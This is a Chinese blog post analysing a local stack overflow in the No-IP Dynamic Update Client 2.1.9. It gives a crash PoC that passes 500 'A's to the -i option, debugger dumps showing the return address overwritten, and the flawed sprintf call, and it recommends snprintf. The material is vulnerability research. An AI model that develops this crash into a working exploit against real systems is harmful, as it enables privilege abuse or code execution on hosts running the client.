前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow 漏洞简析

No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow 漏洞简析

作者头像
用户1423082
发布2024-12-31 18:41:05
发布2024-12-31 18:41:05
8200
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

环境

gdb + peda + pwndbg ubuntu 16.04

分析

poc(exp可以查看底部链接,不过那个exp不好使,因为好像便宜不对,而且返回地址是写死的)

代码语言:javascript
代码运行次数:0
运行
复制
import os

binary = "./noip2-i686"

print "[*] Executing %s ..." % (binary)

os.system("%s -i %s" % (binary, "A" * 500))

直接运行会报错,缺少/usr/local/etc/no-ip2.conf文件,查看文档,可以看到-C可以新建

代码语言:javascript
代码运行次数:0
运行
复制
$ ./noip2-i686 -h

USAGE: noip2-i686 [ -C [ -F][ -Y][ -U #min]
	[ -u username][ -p password][ -x progname]]
	[ -c file][ -d][ -D pid][ -i addr][ -S][ -M][ -h]

Version Linux-2.1.9
Options: -C               create configuration data
         -F               force NAT off
         -Y               select all hosts/groups
         -U minutes       set update interval
         -u username      use supplied username
         -p password      use supplied password
         -x executable    use supplied executable
         -c config_file   use alternate data path
         -d               increase debug verbosity
         -D processID     toggle debug flag for PID
         -i IPaddress     use supplied address
         -I interface     use supplied interface
         -S               show configuration data
         -M               permit multiple instances
         -K processID     terminate instance PID
         -z               activate shm dump code
         -h               help (this text)
$ sudo ./noip2-i686 -C

Auto configuration for Linux client of no-ip.com.

Please enter the login/email string for no-ip.com  XXX@XXX.com
Please enter the password for user 'XXX@XXX.com'  ***************

Only one host [XXXXX.ddns.net] is registered to this account.
It will be used.
Please enter an update interval:[30]  
Do you wish to run something at successful update?[N] (y/N)  ^M

New configuration file '/usr/local/etc/no-ip2.conf' created.
$ sudo chmod 777 /usr/local/etc/no-ip2.conf

通过exploit-db的信息,我们知道漏洞在-i处

代码语言:javascript
代码运行次数:0
运行
复制
gdb-peda$ r -i `python -c "print 'A'*500"`
Starting program: /home/giantbranch/tmp/noip/noip-2.1.9-1/binaries/noip2-i686 -i `python -c "print 'A'*500"`
IP address detected on command line.
Running in single use mode.
IP address 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Use the NAT facility.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fb8864 --> 0x0 
ESI: 0xf7fb7000 --> 0x1b1db0 
EDI: 0xf7fb7000 --> 0x1b1db0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd350 ('A' <repeats 15 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd350 ('A' <repeats 15 times>...)
0004| 0xffffd354 ('A' <repeats 15 times>...)
0008| 0xffffd358 ('A' <repeats 15 times>...)
0012| 0xffffd35c ('A' <repeats 15 times>...)
0016| 0xffffd360 ('A' <repeats 15 times>...)
0020| 0xffffd364 ('A' <repeats 15 times>...)
0024| 0xffffd368 ('A' <repeats 15 times>...)
0028| 0xffffd36c ('A' <repeats 15 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────
 EAX  0x41414141 ('AAAA')
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8864 (_IO_stdfile_2_lock) ◂— 0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd350 ◂— 0x41414141 ('AAAA')
 EIP  0x41414141 ('AAAA')
───────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────
Invalid address 0x41414141










────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd350 ◂— 0x41414141 ('AAAA')
... ↓
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► f 0 41414141
   f 1 41414141
   f 2 41414141
   f 3 41414141
   f 4 41414141
   f 5 41414141
   f 6 41414141
   f 7 41414141
   f 8 41414141
   f 9 41414141
   f 10 41414141
Program received signal SIGSEGV (fault address 0x41414141)

输出的看到最后一行是Use the NAT facility.,我们IDA找一下,是在handle_dynup_error函数里面,发现这里只是输出

代码语言:javascript
代码运行次数:0
运行
复制
case 27:
  Msg("IP address '%s' is a private network address.", (unsigned int)&IPaddress);
  Msg("Use the NAT facility.", v2);
  goto LABEL_26;

但是调用这个的有很多,不好确定是哪个,我们再看上一个字符串Recovering dead process 111467 shmem slot,发现是在get_shm_info函数里面

代码语言:javascript
代码运行次数:0
运行
复制
for ( i = 0; i <= 3; ++i )
{
v13 = shared + 504 * i;
if ( !*(_DWORD *)(shared + 504 * i) )
{
  my_instance = shared + 504 * i;
  break;
}
if ( !strcmp((const char *)(v13 + 24), config_filename) )
{
  if ( kill(*(_DWORD *)v13, 0) == -1 && *__errno_location() == 3 )
  {
    Msg("Recovering dead process %d shmem slot", *(_DWORD *)v13);
    my_instance = v13;
    break;
  }
  if ( background || !IPaddress )
  {
    Msg("Configuration '%s' already in use", v13 + 24);
    Msg("by process %d.  Ending!", *(_DWORD *)v13);
    shmdt(shmaddr);
    shared = 0;
    return -1;
  }
  strncpy((char *)(v13 + 8), &IPaddress, 0x10u);
}
}

Msg("Recovering dead process %d shmem slot", *(_DWORD *)v13);处下断点,栈数据没有被破坏,所以这还没到漏洞点,这时已经回到main函数了

只剩后面这些代码了,由于IPaddress我们指定了,所以肯定不为0 ,进入的是第二个if,那么下面这些函数没看出什么漏洞,那么漏洞应该在dynamic_update里面

代码语言:javascript
代码运行次数:0
运行
复制
if ( get_shm_info() != -1 )
{
  if ( !IPaddress )
  {
    if ( nat )
      get_our_visible_IPaddr(&IPaddress);
    else
      getip(&IPaddress, device);
  }
  if ( IPaddress )
  {
    if ( dynamic_update() == 1 )
    {
      strncpy((char *)(my_instance + 8), &IPaddress, 0x10u);
      goto LABEL_31;
    }
    *(_DWORD *)my_instance = 0;
    shmdt(shmaddr);
  }
  else
  {
    Msg("Not connected to Net!", v7);
    *(_DWORD *)my_instance = 0;
    shmdt(shmaddr);
  }
}

我们执行到call dynamic_update,ni就蹦了,IDA查看这个函数,很快就可以看到这个漏洞点了

代码语言:javascript
代码运行次数:0
运行
复制
sprintf(&s, "&ip=%s", &IPaddress);

我们调试确认一下

代码语言:javascript
代码运行次数:0
运行
复制
  0x804c032 <dynamic_update+79>     call   bdecode <0x804e989>

  0x804c037 <dynamic_update+84>     mov    dword ptr [esp + 8], IPaddress <0x80573bc>
  0x804c03f <dynamic_update+92>     mov    dword ptr [esp + 4], 0x804fd8d
  0x804c047 <dynamic_update+100>    lea    eax, [ebp - 0x128]
  0x804c04d <dynamic_update+106>    mov    dword ptr [esp], eax
► 0x804c050 <dynamic_update+109>    call   sprintf@plt <0x8049348>
       s: 0xffffd2e0 —▸ 0xf7fd2018 ◂— 0x7273752f ('/usr')
       format: 0x804fd8d ◂— '&ip=%s'
       vararg: 0x80573bc (IPaddress) ◂— 0x41414141 ('AAAA')

  0x804c055 <dynamic_update+114>    lea    eax, [ebp - 0x128]
  0x804c05b <dynamic_update+120>    mov    dword ptr [esp + 4], eax
  0x804c05f <dynamic_update+124>    mov    dword ptr [esp], buffer <0x8053020>
  0x804c066 <dynamic_update+131>    call   strcat@plt <0x80491f8>

  0x804c06b <dynamic_update+136>    mov    dword ptr [ebp - 0x24], buffer+8192 <0x8055020>

我们再看看IPaddress的位置

代码语言:javascript
代码运行次数:0
运行
复制
db-peda$ x /76wx 0x80573bc
0x80573bc <IPaddress>:	0x41414141	0x41414141	0x41414141	0x41414141
0x80573cc:	0x41414141	0x41414141	0x41414141	0x41414141
0x80573dc:	0x41414141	0x41414141	0x41414141	0x41414141
0x80573ec:	0x41414141	0x41414141	0x41414141	0x41414141
0x80573fc:	0x41414141	0x41414141	0x41414141	0x41414141
0x805740c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805741c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805742c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805743c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805744c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805745c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805746c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805747c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805748c:	0x41414141	0x41414141	0x41414141	0x41414141
0x805749c:	0x41414141	0x41414141	0x41414141	0x41414141
0x80574ac:	0x41414141	0x41414141	0x41414141	0x41414141
0x80574bc:	0x41414141	0x41414141	0x41414141	0x41414141
0x80574cc:	0x41414141	0x41414141	0x41414141	0x41414141
0x80574dc:	0x41414141	0x41414141	0x41414141	0x00000000

可以看到确实是sprintf的时候溢出的,我们不断单步到ret,确实返回地址被覆盖成0x41414141了

代码语言:javascript
代码运行次数:0
运行
复制
 EAX  0xffffffff
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8864 (_IO_stdfile_2_lock) ◂— 0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd40c ◂— 'AAAA'
 EIP  0x804c3e8 (dynamic_update+1029) ◂— ret    
───────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────
   0x804c25f <dynamic_update+636>     je     dynamic_update+1013 <0x804c3d8>
    ↓
   0x804c3d8 <dynamic_update+1013>    mov    eax, dword ptr [ebp - 0x18]
   0x804c3db <dynamic_update+1016>    mov    dword ptr [ebp - 0x32c], eax
   0x804c3e1 <dynamic_update+1022>    mov    eax, dword ptr [ebp - 0x32c]
   0x804c3e7 <dynamic_update+1028>    leave  
 ► 0x804c3e8 <dynamic_update+1029>    ret    <0x41414141>




────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd40c ◂— 'AAAA'
01:0004│      0xffffd410 —▸ 0x804f100 ◂— dec    ecx
02:0008│      0xffffd414 —▸ 0xffffd4c4 —▸ 0xffffd60b ◂— 0x6d6f682f ('/hom')
03:000c│      0xffffd418 —▸ 0x8053020 (buffer) ◂— 0x20544500
04:0010│      0xffffd41c —▸ 0xf7ffd918 ◂— 0
05:0014│      0xffffd420 —▸ 0x8052520 (__libc_start_main@got.plt) —▸ 0xf7e1d540 (__libc_start_main) ◂— call   0xf7f24b59
06:0018│      0xffffd424 —▸ 0x8053020 (buffer) ◂— 0x20544500
07:001c│      0xffffd428 ◂— 0x0
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► f 0  804c3e8 dynamic_update+1029
   f 1 41414141

简单总结

所以漏洞成因就是dynamic_update中的sprintf(&s, "&ip=%s", &IPaddress);拼接,建议使用snprintf

reference

https://www.exploit-db.com/exploits/25411

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-01-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境
  • 分析
  • 简单总结
  • reference
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档